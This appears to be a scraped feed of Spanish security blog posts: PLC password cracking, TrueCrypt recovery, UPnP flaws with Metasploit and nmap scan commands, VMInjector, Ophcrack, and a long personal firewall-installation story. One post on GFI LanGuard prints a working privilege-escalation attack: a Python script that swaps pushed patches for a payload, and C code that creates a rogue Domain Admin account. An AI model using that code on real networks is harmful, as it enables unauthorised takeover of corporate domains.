Quantcast
Channel: hackplayers
Viewing all 1660 articles
Browse latest View live

Script en Python para obtener las contraseñas de PLCs de Siemens

$
0
0
El ICS-CERT ha publicado una alerta sobre la existencia y disponibilidad del código de una herramienta que que puede realizar ataques off-line de fuerza bruta contra controladores lógicos programables (PLCs) Siemens.

Los autores del código Python en cuestión son Alexander Timorin y Dmitry Sklyarov de SCADA Strange Love y han hecho público el código antes de que Siemens haya tenido la oportunidad de parchear el fallo u ofrecer alguna que otra mitigación.

Con el fin de ser capaz de utilizar la herramienta, un atacante primero debe capturar el tráfico del protocolo S7 que contiene los datos de autenticación en forma de desafío-respuesta:

  •     Password hashed (SHA1) on client (TIA Portal)
  •     Server (PLC) provide 20 byte challenge
  •     Client calculate HMAC-SHA1(challenge, SHA1(password) as response
Luego, mediante el uso del script, probar contra el fichero .pcap diferentes contraseñas hasta dar con la buena.
Hasta que Siemens publique una solución los usuarios de los controladores afectados deberían reducir al mínimo el riesgo al que se exponen sus sistemas desconectándolos de Internet, ponerlos detrás de firewalls, aislarlos de la red de la empresa y emplear métodos seguros para el acceso remoto.

Mientras tanto, el script parece haber sido incorporado al popular John the Ripper.

ICS-CERT ha expresado también su temor de que el script pueda ser adaptado para ser utilizado con los productos de otros proveedores.

Fuentes: 
S4x13 Releases: S7 password offline bruteforce tool
SCADA password cracking code available

¡Toda la privacidad de Internet en una sóla página!

$
0
0


(Esta página ha sido intencionalmente dejada en blanco)

Recuperar un contenedor de TrueCrypt con WinHex

$
0
0
Cuando ciframos un disco entero con TrueCrypt en los primeros 512 bytes (la cabecera del volumen) se insertan las claves maestras para descifrarlo y la cadena "TrueCrypt Boot Loader",  por lo que es fácilmente identificable y si se corrompe o es parcialmente sobreescrito podemos recuperarlo usando un backup de esta cabecera.

La cosa se complica si tenemos una partición o un fichero contenedor y lo borramos accidentalmente con tan mala suerte de que su tamaño hace que no se haya almacenado en la papelera de reciclaje (que por otra parte es algo frecuente). Si examinamos el disco veremos un montón de datos pseudo-aleatorios y cifrados, y es probable que herramientas como Recuva no lo detecten (no existen firmas claras para encontrarlos).

Pero no todo está perdido. Podemos utilizar un editor hexadecimal como WinHex para recuperar un bloque de datos que corresponda a nuestro contendedor cifrado. No obstante, para ello tendrán que cumplirse dos requisitos: 1/ que el fichero no esté desfragmentado y 2/ que al inicio o al final del fichero le sigan un grupo de ceros (o conocer un patrón en hexadecimal que podemos obtener de un backup anterior del fichero).


Si se dan estas dos condiciones, entonces podremos examinar el disco en rawviendo bloques de datos contiguos que tienen el tamaño de nuestro volumen perdido. Para ello nos moveremos indicando el offset en bytes convertido en hexadecimal y seleccionaremos "relativo a la posición actual". Por ejemplo, para movernos 1 GB desde el offset en el que estamos introduciremos "40000000" (1024 * 1024 * 1024 convertido a hex). Una vezidentificada la "frontera" que separa ceros y datos marcaremos el inicio y el final del bloque para recuperar el volumen de Truecrypt. Puede ser un trabajo bastante tedioso y a veces fallido, pero también la única solución en algunos casos...



Más información en: http://forums.anandtech.com/showthread.php?t=2248315

Premios RSA Conference al mejor blogger de seguridad

$
0
0
Ya están abiertas las votaciones para los premios al mejor blogger de seguridad de 2012 organizado por RSA Conference. Se trata de la quinta edición en la que cualquier blogger o podcaster de seguridad puede votar 
 
Os recomendamos que echéis un vistazo a los finalistas de cada categoría para ver lo mejor del panorama internacional (anglosajón):
  
Mejor blog de seguridad corporativo:

Fortinet Security Blog http://blog.fortinet.com/
Denim Group http://blog.denimgroup.com/
Trend Micro Cloud Security Blog http://cloudsecurity.trendmicro.com/
Veracode Security Blog http://www.veracode.com/blog/
Kaspersky Lab Blog https://www.securelist.com/en/
Sophos Naked Security Blog http://nakedsecurity.sophos.com/

Mejor podcast de seguridad:

Threat Post http://threatpost.com/en_us/podcast 
The Network Security Podcast http://netsecpodcast.com/
Eurotrash Security Podcast http://www.eurotrashsecurity.eu/index.php/Main_Page
Pauldotcom http://pauldotcom.com/
Exotic Liability http://www.exoticliability.com/
The Southern Fried Security Podcast http://www.southernfriedsecurity.com/

El blog de seguridad más educativo:

Cognitive Dissidents http://blog.cognitivedissidents.com/ 
Tao Security http://taosecurity.blogspot.com/
F-Secure blog http://www.f-secure.com/weblog/
The New School Security Blog http://newschoolsecurity.com/
AppSecInc Blog http://blog.appsecinc.com/
Evil Bytes/John Sawyer http://www.darkreading.com/blog/archives/evil-bytes/index.html

El blog de seguridad más entretenido:

Rational Survivability http://www.rationalsurvivability.com/blog/
Andrew Hay's Blog http://www.andrewhay.ca/
Uncommon Sense Security/Jack Daniel http://blog.uncommonsensesecurity.com/
New School Of Information Security/Adam Shostack http://newschoolsecurity.com/
Naked Security http://nakedsecurity.sophos.com/
Securosis Blog http://securosis.com/blog

El blog que mejor representa a la industria de seguridad:

Krebs On Security http://krebsonsecurity.com/
Uncommon Sense Security http://blog.uncommonsensesecurity.com/
SANS Internet Storm Center http://isc.sans.org/
Securosis blog https://securosis.com/blog

La mejor entrada o podcast del año:

Martin McKeay, Curing the Credit Card Cancer http://www.mckeay.net/2011/11/28/curing-the-credit-card-cancer/
Veracode Blog http://www.veracode.com/blog/2011/08/musings-on-custers-last-stand/
Moxie Marlinspike's ThoughtCrime Labs http://blog.thoughtcrime.org/authenticity-is-broken-in-ssl-but-your-app-ha
Idoneous Security http://idoneous-security.blogspot.com/2011/12/what-your-analyst-wishes-you-knew.html

Los dos primeros miembros del Salón de la Fama de los Bloggers de Seguridad:

Adam Shostack (Emergent Chaos, New School of Security)
Brian Krebs (Washington Post, Krebs on Security)
Rich Bejtlich, Tao Security Chris Hoff, Rational Survivability
Graham Cluley, Naked Security
Bruce Schneier, Schneier On Security

Millones de dispositivos con UPnP vulnerables

$
0
0
Universal Plug and Play, en adelante UPnP, es un protocolo estandar que permite la comunicación entre dispositivos de red, facilitando el descubrimiento y permitiendo establecer automáticamente configuraciones. Uno de sus usos más típicos es habilitarlo en el router para que una aplicación (normalmente P2P) pueda abrir automáticamente puertos. Por defecto se soporta en Microsoft Windows, Mac OS X y en muchas distribuciones de Linux, y también viene activado en multitud de dispositivos, incluyendo routers, impresoras, cámaras, televisiones, etc. Además, aunque UPnP está destinado a ser utilizado principalmente en la LAN, millones de direcciones IP públicas en Internet responden a solicitudes de este protocolo...


Historicamente UPnP adolece de algunos problemas de seguridad: raramente los fabricantes implementan autenticación, a menudo están expuestas caratecteríticas con privilegios elevados en redes no confiables y es común encontrarse con errores de programación en muchas implementaciones de software UPnP. Pero, ¿cómo te quedarías si te dijéramos que mediante un sólo paquete UDP, cuyo origen podríamos falsificar, pudieramos explotar una vulnerabilidad y ejecutar código remotamente en cualquiera de cada uno de estos millones de dispositivos? Da miedo, ¿verdad? Pues sí es posible, has supuesto bien...

Rapid 7 publica un impactante whitepaper en el que se clasifican tres tipos de vulnerabilidades:

- fallos de programación en implementaciones del protocolo común de descubrimiento UPnP (SSDP) que pueden explotarse para tirar el servicio y ejecutar código arbitrariamente.
- exposición de la interfaz de control UPnP (SOAP) que expone a las redes privadas a ataques desde Internet y puede derivar en fugas de datos sensibles.
- fallos de programación en HTTP UPnP y en implementaciones SOAP que puede ser aprovechado para bloquear el servicio y ejecutar código arbitrariamente.

Como comentamos los productos vulnerables expuestos se cuentan por millones ya que sus implementaciones, ya sea el API de SOAP, la librería open-source libupnp (un SDK de Intel) o MiniUPnP, son utilizados por más de 1.500 fabricantes y 6.900 productos, entre los que se encuentran dispositivos de Belkin, D-Link, Linksys, Netgear o Apple.

Estas vulnerabilidades han sido solucionadas en la versión 1.6.18 del kit de desarrollo de UPnP, sin embargo son muchos los dispositivos y fabricantes que implementan este protocolo y que por tanto tardarán cierto tiempo en actualizar.
De hecho muchos recomiendan desactivar UPnP por completo.

Desde Rapid7 han puesto a disposición del usuario un programa llamado ScanNow UPnP que permite al usuario analizar su red y ver que dispositivos serían sensibles de ser controlados de forma remota gracias a este fallo de seguridad. O si lo prefieres puedes lanzar el escaneo directamente desde Metasploit:


msf > use auxiliary/scanner/upnp/ssdp_msearch
msf  auxiliary(ssdp_msearch) > set RHOSTS 192.168.0.0/24
msf  auxiliary(ssdp_msearch) > run 


o con NMap:

nmap --script upnp-info.nse -p 1900 -sU 192.168.0.0/24

Fuentes:
Encontrados varios fallos en conexiones UPnP
Un fallo en el protocolo UPnP pone a más de 50 millones de dispositivos en peligro 
Security Flaws in Universal Plug and Play: Unplug, Don't Play  
UPnP flaws expose tens of millions of networked devices to remote attacks 

Web de WhatsApp vulnerable a XSS

VMinjector: herramienta para evadir la autenticación de máquinas virtuales

$
0
0
¿Has olvidado la contraseña de tu host virtual?, ¿eres un chico malo, has tomado el control de un equipo con VMWare y ahora quieres acceder a sus máquinas virtuales? ¡VMInjector es la solución que buscabas! XD
 

VMInjector es un pequeño script escrito en Python que inyecta una DLL (x86 y x64) en el proceso VMWare para obtener acceso a la memoria. Una vez mapeados sus recursos, parchea la función correspondiente para evadir la autenticación y así acceder al sistema operativo de la máquina virtual, ya sea Windows, Ubuntu o Mac OS X.

El parcheo en memoria no es persistente, así que al reiniciar la máquina virtual el proceso de autenticación volverá a la normalidad como si no hubiera pasado nada ;)

 
https://github.com/batistam/VMInjector

Confirman la creación de un Mando de Ciberdefensa de las Fuerzas Armadas Españolas para 2014

$
0
0
«Ne Sero Veniam Depugto Proelio» Plauto
El jefe del Estado Mayor de la Defensa (JEMAD), el almirante Fernando García Sánchez, confirmó ayer que durante el primer semestre de 2014 estará operativo el nuevo mando en "ciberdefensa" y que lo coordinará el Centro Nacional de Inteligencia (CNI).

Este nuevo mando va a estar integrado en la Estrategia Española de Ciberseguridad que aprobará próximamente el Gobierno y se dedicará a la vigilancia y defensa de los sistemas militares e infraestructuras críticas, aunque puede apoyar en sus misiones a otros "actores" que participen en estas tareas.

Según el CNI, el año pasado España sufrió más de 200 ciberataques considerados como críticos, el doble que el año anterior, y preveen que el incremento de estos ataques siga aumentando de forma exponencial.

Os dejo con la noticia del telediario de RTVE de ayer:
 
Fuentes y enlaces de interés
En 2014 estará operativo el nuevo mando de 'ciberdefensa'
El Mando de Ciberdefensa de las Fuerzas Armadas da sus primeros pasos
Ciberdefensa en las Fuerzas Armadas - Perspectiva Conjunta  (pdf)
El Ejército simula el mayor ciberataque de la historia en España  
Ciberseguridad. Retos y amenazas a la seguridad nacional del ciberespacio (pdf)
El JEMAD advierte de que "con el presupuesto actual no se mantiene la Defensa eternamente"

Escalado de privilegios mediante GFI LanGuard 2012

$
0
0
GFI LanGuard 2012 (http://www.gfi.com/network-security-vulnerability-scanner) es la competencia de Microsoft SCCM, una suite para inventariado, análisis básico de vulnerabilidades y distribución de software en red.

Existe una característica llamada 'auto remediation' que automáticamente copia y ejecuta las actualizaciones aprobadas por el administrador en los equipos de la red. El parche de software se instalará y el usuario lo único que verá es un aviso para reiniciar su máquina. Normalmente la mayoría de los administradores cometen el error de configurar una cuenta con privilegios de administrador de dominio para facilitar la distribución de estas actualizaciones:



El otro problema es que no hay ningún control de integridad de los ficheros copiados antes de ser ejecutados... Si tienes la mente "sucia" ya te habrás dado cuenta que esta técnica va de eso: antes de que se ejecute un parche sustituirlo por otro fichero con un payload malicioso.

Lo único que necesitamos es levantar un listener en nuestra máquina "trampa" en el dominio que va a esperar pacientemente a que GFI LanGuard 2012 le lance una actualización. Este listener va a controlar el contenido del directorio 'C:\Windows\Patches' para que, una vez que vea que hay dos archivos en el directorio (uno siendo escrito y otro ya escrito y por tanto desbloqueado), sustituya el archivo desbloqueado con el archivo con el payload malicioso. Eso sí, dado que los parches se almacenan en el directorio 'C:\Windows\Patches' necesitaremos privilegios de administrador local en el equipo con el listener:


listener.py
'''
Created on Dec 21, 2012
@author: Essential Exploit Labs
'''
import os, shutil
path="C:\\Windows\\Patches\\"
payload="payload.exe"
hook=0
files = []
 
dirList=os.listdir(path)
for fname in dirList:
    fileToDelete = path
    fileToDelete += fname
    os.remove(fileToDelete)
fname = None
 
while hook==0:
    dirList = None
    dirList=os.listdir(path)
    for fname in dirList:
        if fname.endswith(".exe"):
            if fname not in (files):
                files.append(fname)
    if len(files) > 1:
        print "We got the Files "
        print files[0]
        print "and "
        print files[1]
        print "Time to launch payload!"
        hook=1
 
fReplace = path
fReplace += files[0]
shutil.copy(payload, fReplace)
 
Si tiene éxito, el payload será tan sencillo como efectivo y devastador, como por ejemplo, aprovechar los privilegios de administración de dominio para añadir otro administrador de dominio para nosotros }:)

prueba.c
// payload.cpp 
// Essential Exploit Labs

#include "stdafx.h"
#include <Windows.h>

void exploit()
{
system("net user admlnlstrator MyPassw0rd /add /domain");
system("net group \"Domain Admins\" admlnlstrator /add /domain");
}

int _tmain(int argc, _TCHAR* argv[])
{
exploit();
return 0;
}

¿Qué es OphCrack?

$
0
0
Ophcrack es una herramienta para crackear las contraseñas de Windows basada en las tablas Rainbow. Es una implementación muy eficiente de las tablas Rainbow hecha por los inventores de este método. Viene con una Interfaz Gráfica de Usuario GTK+ y corre bajo Windows, Mac OS X (CPU Intel) y también en Linux. Más Información | Descarga

Para comprobar el funcionamiento y uso de Ophcrack, procedemos hacer una pequeña prueba en una máquina virtual con Windows XP (VirtualBox).

Preparo un par de usuarios con contraseñas diferentes: User1/sdm | User2/abc123xd
 

 
Comenzamos el proceso de recuperación de las contraseñas, booteamos el live cd de Ophcrack en el pc o máquina virtual. Una vez booteado debemos elegir la primera opción o bien dejar que transcurran los 8 segundos.
 

La carga no suele demorar más de un par de minutos.
 
 
Por último, esperamos que termine de crackear las tablas por lo cual nos mostrará las respectivas contraseñas de los diferentes usuarios del sistema. Dependiendo de los caracteres de las contraseñas tardará más o menos tiempo. NOTA: Al ser la versión Free solo funciona el proceso con contraseñas alfanuméricas.
 
 
Buena herramienta para llevar siempre en nuestra memoria USB o CD, siempre hay algún olvidadizo....jajaja
 

Firewall Femme Fatale (esto me sucedió en 2010): Parte 2

$
0
0

Bitácora de la hecatombe perimetral, Instalación del Firewall Día 4

*** “…Me gusta aparentar aquello que no soy, me hace sentir mejor que todos me adoren, he conseguido ser alguien importante, ¿qué piensa ahora la sociedad que tanto tiempo me ha rechazado? Sí, soy un criminal, mi crimen es ser egocéntrico, ¿y qué?, ¿quién puede pararme?, ¿quién osará desafiarme?, ¿acaso ha existido alguna vez un Dios mejor que yo? Puedes intentar pararme, pero ya tengo amigos en todas partes, ellos me apoyarán porque los muy ingenuos creen de verdad en mí…”

(Manifiesto del Lammer, clase de Seguridad Informática; México, Marzo 2008, Programando Shell Coding básico)***

Ya ni la jodes. Ahora si la regaste enteritamente completa. Parece mentira que a tu edad hagas estas estupideces de crío/infante/bebo. Y ya ves que dicen por ahí que las mugrosas estupideces son más guapas y más interesantes que las horribles madureces. Tenías que llegar, con tu carita de idiota alegre que se muere de ganas de meterse en problemas, de hacer lo que no debe, de liarla en mal plan.

Igual todo el día siguiente me estaba muriendo de pavor porque no sabía cómo iba a torturar a mi firewall para arrancarle el SIP de alguna manera, ah! y de encontrarme a la jefa por ahí, o que me llamara de pura casualidad, (y eso no saben cuántos puntos le sumaba al score de terror). ¿¿Tienen idea de lo que era deambular por los pasillos de mi trabajo, con un firewall horror story, un cliente a punto de colgarme de los… del ventrículo izquierdo, y todos preguntándome cómo había ido la ventana de la madrugada right on the road to hell??? Me va a dar una embolia, pensaba.

Firewall gurú: Cómo estuvo todo Fer, si acabaste?? Supongo sin problemas no?? Era un modo transparente me dijeron, cuánto tiempo le hiciste babysitting, unas dos horas??

Fer: (Llorando por dentro como plañidera pero de pie como conserje de primaria) Pues sí más o menos…lo que pasa es que…es que falta hacerle tunning a algunas cosas…porque tienen servicios y así, y…pues así le hacemos no? (qué diablos?!, qué dije?!)

Firewall gurú: Tunning al firewall en modo transparente? Por qué? Le aplicaste perfiles de inspección o algo así?

Fer: (Le tengo que lanzar una indirecta muy directa es mi oportunidad) No, es que quieren meter voz, pero por ahí leí (con por ahí leí quise decir: por ahí sufrí una vorágine apocalíptica que me está llevando a la silla eléctrica), que luego no reconoce muy bien el SIP, porque es un protocolo basado en UDP y cada fabricante tiene su versión, entonces por ahí presentan problemillas… (Bueno ya di algo que no te haga sonar como un noob).

Firewall gurú: Pues… de repente, la inspección bloquea por default algunas cosas pero… tuviste entonces problemas con la integración??!!

Fer: No no, para nada!!...*le crece la nariz como Pinocho*, es que quieren meter su PBX a uno de mis segmentos en el firewall, pero le van a hacer una actualización, lo haremos hoy en la noche y me preguntaron si el firewall no tenía problemas para reconocerlo, les comenté que debido a que el equipo tendía a “aplicar algoritmos estructurados de optimización combinatoria para resolver este tipo de cuestiones pseudoaleatorias en protocolos de capa 4 inherentes al modelo OSI” podía haber algunos detalles…(insisto qué diablos estoy diciendo por el amor de Yisus??!!)

Firewall Gurú: (0_o!) Ahhh si.. si creo que si…bueno…puedes checar eso en el Admin Guide, estudia las políticas de override por ahí te puede funcionar si el equipo no ve algo.

Fer: (Políticas de override??!!, ahí está el pan Yikes!) Si gracias!! (Santo es el señor…y mi Firewall Gurú)

Santo es el señor
Imagen robadTOMADA DE juliusteobserva.com

Evidentemente esa noche tenía que regresar con la solución al problema, no había de otra. Si no existía un mínimo atisbo de luz, corría el riesgo de que el cliente enojara más y bye bye darling. Afortunadamente cuando revisé la Admin Guide donde mi Firewall Gurú me había enviado, encontré la respuesta a mi dificultad con el SIP. Les platico:

Warning Geek lines coming…

Resulta que mi firewall de nueva generación tiene la capacidad de identificar aplicativos principalmente a nivel capa 7, aja? Hay veces que no puede hacer eso tan fácil y te da dos opciones: la primera, que pidas, como le dije a mi cliente, una firma especial de tu aplicación al fabricante y ya puedas ver tu tráfico a gusto, (en sí ésta era la solución desde un principio, ya lo sabía, pero resulta que hacer esto es medio engorroso) la segunda es justamente crear una política de override, mucho más rápido, pero lo desconocía totalmente: básicamente consiste en definir tu aplicación con puerto y protocolo para que cuando vea el tráfico de la misma, ya la pueda identificar. Una app no definida no se ve en el log del firewall, por eso el SIP ni se asomaba, y cuando defines una aplicación en tu política de override, con todos los parámetros necesarios ya la puedes manipular sin problemas. Ejemplo: Imaginen que ponen el Puerto 80 como “Aplicación Web super wow casual”. De esta forma todo el tráfico del puerto 80 va a ser “Aplicación Web super wow casual”, lo que en principio está mal en un estricto sentido, porque el puerto 80, es pa’l Internet papáwh, entonces “overrideas” dicha aplicación diciendo: mira mirrey firewall si observas tráfico de la red 10.0.0.0 a la red 20.0.0.0 procedente de las zonas X y Y con puerto TCP/80, vas a emparejarlo con “Aplicación Web super wow casual”, es decir, lo delimitas muy bien para que exista un match . Todo el demás tráfico lo pasas por el engine de identificación para puerto 80. Así estaba la cosa para que se pudiera mostrar el SIP.

Gracias a Ganesha-sajasranama y su trompa divina, el suplicio no duró mucho. En la noche nos echamos al PBX.

Bitácora de la hecatombe perimetral, Instalación del Firewall Día 5

***…Me sentía poderoso, no sé, invencible. Era como si todo lo que había estudiado, creído, visto, dicho y hecho en todos los años de mi vida frente a los bits de la computadora se hubiera vuelto cierto de un madrazo, como si atrás de mi ADSL, de mis scripts en Pearl, de mi tarjeta madre hubiera un juez diciendo: Tiene usted la razón. Era posible, ¿no? Por más que mis papás y mis maestros se hubieran empeñado en que mi mundo fuera una oficina o una escuela, yo estaba consiguiendo espacio. Aire. Futuro. Cosas que un estudiante de carrera bonita en Computación no puede imaginarse, y menos si su idea de vivir es no sé, alcanzar pronto un puesto gerencial en una empresa importante y vender su capitalista alma al dinero. Yo quería obedecer, pero al destino. Y a mis necesidades. Y hasta a mis caprichos, que a la hora de la hora eran los que contaban. Yo quería que contaran y mis botnets en Grid esparcidas por la Web estaban de acuerdo…

(Platicando con un Gray Hat en la Campus Party 2009, Expo Bancomer Santa Fe, México; Noviembre 2009, Seguridad/Redes). ***

Exactamente, recuperé mi confianza en cuanto supe que iba por el buen camino y viéndolo tácitamente todo se arregló tan rápido, tan viento en popa que hasta parecía que no hubiese pasado nada en absoluto. Un ligero desliz. No ocurrió fue un sueño, me dije, hubo un problema, quizá exageré, debí haber guardado la calma, al final de cuentas hoy vamos lo arreglamos, lo dejamos listo y nos pelamos de ahí.

Fer: Resulta que hemos identificado la fuente del problema. En sí, no es un problema per se, sucede que hay algunos protocolos que no llegan a verse en el firewall por cuestiones de insuficiencia de datos y hay que declararlos con una política especial de…

Cliente: No me vas a dar una solución a la brava verdad??!! Algo como un: tapo el hoyo con papel pero el hoyo sigue ahí… ni se te ocurra hacer algo así eh!! de dónde sacaste eso a ver?!! Porque se oye bien parchada tu salida!!

Fer: (Lo que me faltaba, que se me pusiera hormonal y ni siquiera hemos metido mano en su red todavía) No, la solución está documentada y soportada por el fabricante, el feature está aquí y lo vamos a aplicar sin problemas *Le enseña el procedimiento impreso (como si el otro supiera lo que le estoy enseñando)*.

Cliente: Bueno…yo sólo quiero ver que quede y que ya quede bien, solo falta el detalle del PBX y espero no salga otra cosa, porque ya no podemos tener más ventanas esta semana.

Fer: No te preocupes, enseguida aplico el cambio y probamos, no vamos a tardar, ya tengo definidos los parámetros necesarios (vamos bebé vamos!).

Cliente: Ok, empezamos. ¿Saben lo que es resolverle un problema en menos de 10 minutos a un jefe de ingeniería medio ogro, presionado porque no tenía voz en toda su red (era el último día de cambios antes del freeze de auditoría), darle un par de palabritas técnicas más o menos majaderas sobre la situación actual y controlada del firewall, que ni va a pelar al final de cuentas, pero que lo vas a dejar impactado por la rapidez y eficacia de tu resolución, y la oratoria aplicada a comentarle lo que hiciste, frente a toda la manada de ingenieros a su cargo, largarte en media hora satisfecho y vencedor del Data Center, tirarte en un bar, beberte un whisky in the rocks, mientras piensas que en realidad si has resuelto “todo un issue” estando pendiendo de un hilito hace apenas un par de días?



Lo imposible lo hago en 10 minutos, para los milagros me tardo un poco más…

Te regresa (y con creces) la confianza soberbia de la que les había hablado. Es una adicción. No es posible vivir la vida entera así, se te rostiza el alma. Es como las historias de los rockstars que nunca paran de beber, rockear y drogarse. Siempre eres el alma de la fiesta, pero si no controlas el vicio la sufres, estás cada día más despegado del suelo. No sé, hubo un momento cuando salí del DC que me dio miedo. No creía que hubiera sido tan rápido. Esto es demasiado lindo para cacarearlo, no puede ser verdad.

Bueno como sea… ya estamos peinados pa trás, ahora si me puedo encontrar a mi jefa.

Bitácora de la hecatombe perimetral, Instalación del Firewall Día 6

***“…Eres el kernel de mi Linux. Eres el html de mi corazon.com. Tucorazon.com está en mi index de inicio. Eres el socket de mi CPU. Tu RAM le da vida a mi Máquina Virtual. Eres el compilador de mi código. El .gif que anima mi vida. Siempre estás en C:/Mi/Corazon. Te pienso más que las páginas indexadas por Google. Eres como el Firefox que me sacó del infierno del Explorer. Eres el Enter de mis pensamientos. Si me dejas hago Alt-F4 a mi vida. Cuando te veo mi ciclo de CPU se acelera. Tú tienes la máxima prioridad en mi lista de procesos. Eres el linkeador de mis objetos. Tus deseos son signals para mí. Ninguna grafica podría renderizar al 100% tu perfecta figura. Sin ti mi vida sería como una web sin CSS. Tienes permisos de root en mi vida. Juntos somos como un procesador de doble núcleo. Mi sistema operativo entra en hibernación cuando no estás a mi lado. Contigo no necesito tirar de Swap. Tú eres la única que puede romper mi WPA. En la cama eres puro overclocking…


Mi amor…”

(Poema de un “haxxor” a su chica, Procastinando en un cuarto conocido como “La nueva Procastinopla”, Budapest, Hungría; Diciembre 2011). ***

Jefa: Fer ya quedó tu proyecto del firewall?

Fer: Si, ya está integrada la plataforma a su infraestructura, no hubo ningún problema (obvio no?), y la migración al reemplazo va a ser muy sencilla. 


Jefa: Muy bien!!, le hablamos al cliente para definir la fecha de la sustitución??

Fer: No no!, yo le hablo no te preocupes (no se le vaya a salir al hombre hormonal lo que nos pasó) Además ahorita están en freeze por auditoría…pero yo le doy seguimiento y ya cuando quede te notifico.

Jefa: De acuerdo, te espero.

C'est fini.

La vida es una ventana de downtime inagotable, una configuración en capa 3 sin agujeros, una definición de NAT’s donde decides qué dejas pasar a tu existencia. Y yo acá, “invulnerable”, tras mi laptop, como hombre consumado en seguridad perimetral a los 22 años. Veía el mundo todo en un espejo: Cómo pasar de Tony Stark a IronMan, por el eminente especialista en TI, Fernando V. Lección número uno: Consígase un proyecto usted solo donde le meta la mano a todo lo que tenga su cliente, (hasta a su cliente). Lección número dos: Riéguela al borde del abismo sin retorno, pero riéguela excelentemente. Lección número tres: Viva la adrenalina de tener que resolver todo en 10 minutos. Un miedo que se goza, eso es vida y lo demás migajas. Además compórtese siempre con cara de póker. Y claro, claro, claro, sea un bruto colosal pero un bruto confiado de lo que hace, sea la combinación nuclear.

Sólo tenía que esperar a que me dieran la ventana para migrar su viejo firewall y meter de lleno el nuevo. Hasta eso, el cliente se “olvidó” de nuestro pequeño cisma y me llamaba frecuentemente para comentarme sobre lo buena que era la plataforma, en cuanto a visibilidad, inspección y reporteo. Adulaciones inocentes.

Pues… ya quedó no?? Es el final de todo o qué piensan cachorros??

Queridos lectores es la hora de la moraleja de esta historJAJAJAJAJAJAJAJAJASJAOSJSIAJSPSJSDSFVSK!!!!! Hasta creen.

En realidad, viene lo más feo de todo lo que les he contado. En 5 días que esperé para la ventana del proyecto, y continuaba con mi feliz vida, jamás imaginé que fuera a pasar lo que nos pasó. Pero sin más, me adentro en esa parte oscura de mi relato. Chequen lo denso que se puso el siniestro. Hasta el día de hoy me acuerdo y digo: ¿Quién diablos habrá traído mi muñeco vudú aquella noche en el DC?...

Bitácora de la hecatombe perimetral, Instalación del Firewall Día 7

*** “…La bromita preferida de mi familia era decir: Tú eres adoptado. Porque cada año que pasaba me parecía menos a ellos, en todo: recluido, hacker, adicto a los videojuegos y los libros, freaky y fiero amante de los números y los códigos, ah! pero eso sí, super atleta en serio eh, nada de estereotipos imbéciles. ¿Cada año? No me chinguen: cada instante. Todavía hoy siento que mi vida es la de un pececito de agua salada al que quién sabe quién echó al agua dulce. En el agua dulce todo es más baby blue, más princess, más gentleman, no sé… más marica. Las cosas me estaban dadas desde siempre, al venir de una familia bien no puedes recordar un solo instante de tu existencia en el que no hubiera coches, commodities, escuelas privadas y empresas dispuestas a tenerte en su gerencia. Y yo en cambio, lo que me hice recordar fue esto: alimentarme de mi sed del saber, del poder y del hacer, claro… computadora en mano como ha sido mi desdichada y recontraputa costumbre. Pero ¿qué chingados va a hacer un pez de agua salada entre el agua dulce? Obviamente ser una muy malainfluencia, y para eso siempre me he pintado solitito… o no?? mis queridos rootkits envenenadores??…”
(Platicando con un Gray Hat en la Campus Party 2009, Expo Bancomer Santa Fe, México; Noviembre 2009, Seguridad/Redes). ***

No sé por qué siempre he comparado la llegada a un DC con ir a la Fortaleza de la Soledad de Superman. Debe ser el frío y que los pisos casi siempre son blancos. Aquella noche llegué como quien tiene ganas de acabar con el trabajo de volada sin saber más y listo, ya está. De hecho hasta me sentía un poco aburrido, aletargado, incluso algo dentro de mí deseaba que pasara un problema para meterle más acción a mi ventana, porque ya hasta la configuración la traía pre cargada en un archivito. Cuidado con lo que desean siempre, se les puede aparecer el diablo en lugar de un hada.

Cliente: Bueno ya está la ventana hasta las 6 am, son las 12 am, creo que es tiempo perfecto para dejar en operación la plataforma en un 70%. El tunning lo haremos gradualmente según me comentaste, pero lo que me interesa que quede ahorita son, por supuesto, el NAT de salida a Internet de los usuarios, los mapeos a los servicios internos desde la nube, y la segmentación de las zonas. Hay gran cantidad de redes pero yo espero que si terminemos.

Fer: No te preocupes, gracias al diagrama que me proporcionaron de su topología ya traigo bastante configuración metida de su red (6 horas en el DC no jales, se nos van a caer los dedos del frío). En cuanto termine de configurar podemos probar los servicios y con eso quedamos hoy. El resto de la configuración incluso la podemos manejar de forma remota.

Cliente: Eso estaría perfecto, pues comenzamos.

Esto les va a sonar a deja vú cachorros, pero adivinen qué pasó cuando metí la configuración y quería probar la salida a Internet??: Exacto no pasó nada. Literal, no salió, no me dejó, no pasaba, Internet me pintó cremas. A ver tranquilo mi rey, a lo mejor el switch que está antes del router del carrier todavía no vacía sus tablas ARP del anterior firewall y por eso no pasa tu tráfico. Vacío el switch. Nada *grillito cantando cri cri cri*. Ok, vamos a quitar la configuración y levantar únicamente el NAT de salida a Internet a manita y probamos…Oh for God’s sake: no sale. A ver…calma desde el inicio, probemos nada más que el firewall le llegue con una traza a la dirección pública del router del carrier: “Tiempo de espera agotado para esta solicitud”… Me lleva!!! A carajo cómo por qué!!, a ver estoy atrasito, en el trasero del router del carrier, en el mismo segmento de red!!, por qué no lo veo. No no, de seguro es el cable, el polling, no estamos negociando bien la velocidad de la interfaz por eso no es exitosa la traza…No puede ser…mi interfaz está en auto, no es eso... Qué es??...Ya sé!! un access-list en el router, no puedo pasar por un access-list del router y no tiene habilitado el barrido en las interfaces, claro!!...”Me pueden dar un user de lectura para ver los parámetros del router de su carrier?? Necesito verificar sus interfaces, gracias =)”…Las interfaces están abiertas, les puedes tirar trazas, solamente tiene configurada una ruta estática hacia otra red pública y ningún access-list de bloqueo…*Recuerde que tiene su cianuro en la muela del lado izquierdo, para poder usarlo en cualquier momento*

Fer: Algo está pasando con la configuración del firewall, creo que el equipo no está integrándose con el router frontera, quizá tengamos una falla en el hardware…

Cliente: Cómo??!! A ver pero estaba funcionando bien en modo transparente, qué le pasó o qué??!! Fer: Hay que revisarlo con calma porque una simple ruta estática, no responde con tu router frontera. Eso es muy extraño. Aunque…no tienes un bloqueo en tu appliance que esté impidiendo la conectividad con mi equipo??

Cliente: Para nada!! Mira… **Entramos al router en modo root y efectivamente, como vimos anteriormente no hay nada de nada**

Fer: Si, no hay ningún bloqueo, quizá si sea el equipo. Debemos dar rollback y traer otro porque al parecer no lo ve y quizá el engine esté fallando.

Cliente: No puede ser de verdad no puede ser!! Pero estás seguro que sea el equipo??, capaz que traes otro y sale lo mismo!!!

Fer: SiNOSiNO…(diablos diablos!!) Vamos a checarlo en nuestro laboratorio hoy mismo y verificamos. 


